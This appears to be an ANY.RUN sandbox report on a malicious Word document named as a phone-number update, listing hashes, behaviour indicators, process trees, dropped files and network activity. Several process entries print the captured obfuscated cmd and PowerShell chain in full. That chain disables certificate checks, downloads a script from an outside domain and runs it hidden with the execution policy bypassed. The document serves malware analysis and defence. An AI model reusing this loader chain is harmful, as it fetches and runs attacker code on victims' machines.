File name:

обновление телефонных номеров.docx

Full analysis: https://app.any.run/tasks/d604b6fd-38b0-40b0-8ad0-0ac0cdbb5cab
Verdict: Malicious activity
Analysis date: May 16, 2025, 08:59:14
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
ole-embedded
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

73954F87FB435FF564AACF1F8F71885B

SHA1:

9BCD595AA7564EB17D11699040E597D027C2BABC

SHA256:

0E356692E0BD6D1770998466C4F7BDA1BB1DE48022D98B1EC899E80DB4B166D5

SSDEEP:

768:b2y9h4+FQmeeFFEwu+h5HkWfsZjypfWfnaYU6zP+mc4jmWclca5+:b2y9h6meeFpuEkWfsZwWbUOOC5

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from MS Office

      • WINWORD.EXE (PID: 7332)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7628)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 7680)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7628)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 7628)

  • SUSPICIOUS

    • Process run an executable payload

      • rundll32.exe (PID: 5968)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 1228)

    • Uses RUNDLL32.EXE to load library

      • WinRAR.exe (PID: 1228)

    • Starts CMD.EXE for commands execution

      • rundll32.exe (PID: 5968)
      • cmd.exe (PID: 7492)
      • cmd.exe (PID: 7680)

    • Application launched itself

      • cmd.exe (PID: 7492)
      • cmd.exe (PID: 7680)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7680)

  • INFO

    • Reads security settings of Internet Explorer

      • splwow64.exe (PID: 5956)
      • rundll32.exe (PID: 5968)

    • Disables trace logs

      • powershell.exe (PID: 7628)

    • Checks proxy server information

      • powershell.exe (PID: 7628)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 7628)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7628)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 7628)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xa12c8f6b
ZipCompressedSize: 454
ZipUncompressedSize: 2012
ZipFileName: [Content_Types].xml

XMP

Title: -
Subject: -
Description: -

XML

Keywords: -
CreateDate: 2025:04:29 22:59:00Z
ModifyDate: 2025:05:15 00:03:00Z
Template: Normal.dotm
TotalEditTime: 2.4 hours
Pages: 1
Words: 48
Characters: 277
Application: Microsoft Office Word
DocSecurity: None
Lines: 2
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 324
SharedDoc: No
HyperlinksChanged: No
AppVersion: 14
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
143
Monitored processes
12
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winword.exe sppextcomobj.exe no specs slui.exe no specs ai.exe no specs splwow64.exe no specs winrar.exe no specs rundll32.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1228"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\{DBCD432B-CD7E-4023-9A28-6F90D6F33B84}\{99D43764-C8EB-49F4-A2FB-637D6677F440}\2025.rar"C:\Program Files\WinRAR\WinRAR.exe—WINWORD.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
5956C:\WINDOWS\splwow64.exe 8192C:\Windows\splwow64.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Print driver host for applications
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\splwow64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5968"C:\Windows\System32\rundll32.exe" Shell32.DLL,ShellExec_RunDLL C:\WINDOWS\system32\cmd.exe /c set p1=-e&&set p3=p B&&set p4=Y&&set p5=Pa&&set p6=sS&&set p7=power&&set p8=shell&&C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 ^| %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\rundll32.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
7332"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\обновление телефонных номеров.docx" /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
7492"C:\WINDOWS\system32\cmd.exe" /c set p1=-e&&set p3=p B&&set p4=Y&&set p5=Pa&&set p6=sS&&set p7=power&&set p8=shell&&C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 ^| %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
7608\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7628powershell -ep BYPasS -w 1 -file -C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7680C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 | %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
7736C:\WINDOWS\system32\cmd.exe /S /D /c" echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
7852C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
Total events
24 528
Read events
24 157
Write events
351
Delete events
20

Modification events

(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:0
Value:
017012000000001000B24E9A3E02000000000000000600000000000000
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\7332
Operation:writeName:0
Value:
0B0E10A6566A527F65C54A9CEBF929E98D2620230046B6B0B4928DC8F1ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511A439D2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ko-kr
Value:
2
(PID) Process:(7332) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:pt-br
Value:
2
Executable files
33
Suspicious files
129
Text files
20
Unknown types
0

Dropped files

PID
Process
Filename
Type
7332WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187binary
MD5:E62EFE7288ABCE3321A890EAAD8D8E9E
SHA256:A0F87CD29721837A844306B7CDB225C4BFFA893C090F4C6C9A94CFC4F783F0AF
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bintext
MD5:CC90D669144261B198DEAD45AA266572
SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:E923CF9C72A29F7AAF71C9113B6D89CD
SHA256:322B0548B8D1EAC884452AE219727B35F658817D6B44B3EFE25B8C54AA5ACB02
7332WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187binary
MD5:F8CE511EBCFD08F5CE5EFDEBA7E99753
SHA256:010A6098C02EA4B26531A8134FF5B63E523D4348AFE5C0BCFA29AA2CFC66E4A9
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbresbinary
MD5:67E4022C729AA86F08B13FE7BE84CA51
SHA256:E4E5437DD53AB255E70A467B3E45B4730874B8FA29FE2F953D9E4BCE9208D27E
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EE34B8BB.emfbinary
MD5:63C4FF2291F50F9DA2BE54B37F5CE333
SHA256:0B1AB0A4AE71C62C5389B7974DFACB4FCCEFD0DADE15ADFBD0EF3A5083AF7351
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\msoD737.tmpdocument
MD5:3F09E0CC3A073BADF0CB8D5CA9FBB75F
SHA256:72E5BD8E0B323B1DF3B48669F85710B645D92F13FEB5A48EDD9AD081B3E19F08
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_41.ttfbinary
MD5:A807151D5747F6460143DC1FD2C3195F
SHA256:C0C3B354480E34CCC0C25D371B30D0272DB86C786AF6438C217998B0A30E5EB0
7332WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64Abinary
MD5:A5333BBDA908BBA68EEA5E22858D7125
SHA256:C4FAA7D92DCA4BAE1DE85754073D559F0E3113CDB43BF3EAC23220D5841E34C9
7332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Jsonbinary
MD5:CFD54484BBCCD842CE5113068C419A8A
SHA256:4FEE36BCBAB47965FD07134DE0BC666ECE4041CD1495D0107B468630BF6ED571
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
56
DNS requests
31
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7332
WINWORD.EXE
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3156
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/canonical.html
unknown
—
—
whitelisted
7332
WINWORD.EXE
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5608
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5608
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
7332
WINWORD.EXE
GET
200
23.216.77.26:80
http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
unknown
—
—
whitelisted
7332
WINWORD.EXE
GET
200
23.216.77.26:80
http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
23.219.150.101:80
www.microsoft.com
AKAMAI-AS
CL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
7332
WINWORD.EXE
52.109.89.18:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7332
WINWORD.EXE
52.123.129.14:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
7332
WINWORD.EXE
52.109.89.19:443
roaming.officeapps.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7332
WINWORD.EXE
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.120
  • 23.216.77.26
  • 23.216.77.22
  • 23.216.77.25
  • 23.216.77.33
  • 23.216.77.28
  • 23.216.77.30
  • 23.216.77.36
  • 23.216.77.21
  • 23.216.77.34
whitelisted
www.microsoft.com
  • 23.219.150.101
  • 23.52.120.96
whitelisted
google.com
  • 216.58.206.78
whitelisted
officeclient.microsoft.com
  • 52.109.89.18
whitelisted
ecs.office.com
  • 52.123.129.14
  • 52.123.128.14
whitelisted
roaming.officeapps.live.com
  • 52.109.89.19
whitelisted
ocsp.digicert.com
  • 2.17.190.73
  • 2.23.77.188
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
omex.cdn.office.net
  • 2.16.168.101
  • 2.16.168.119
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
обновление телефонных номеров.docx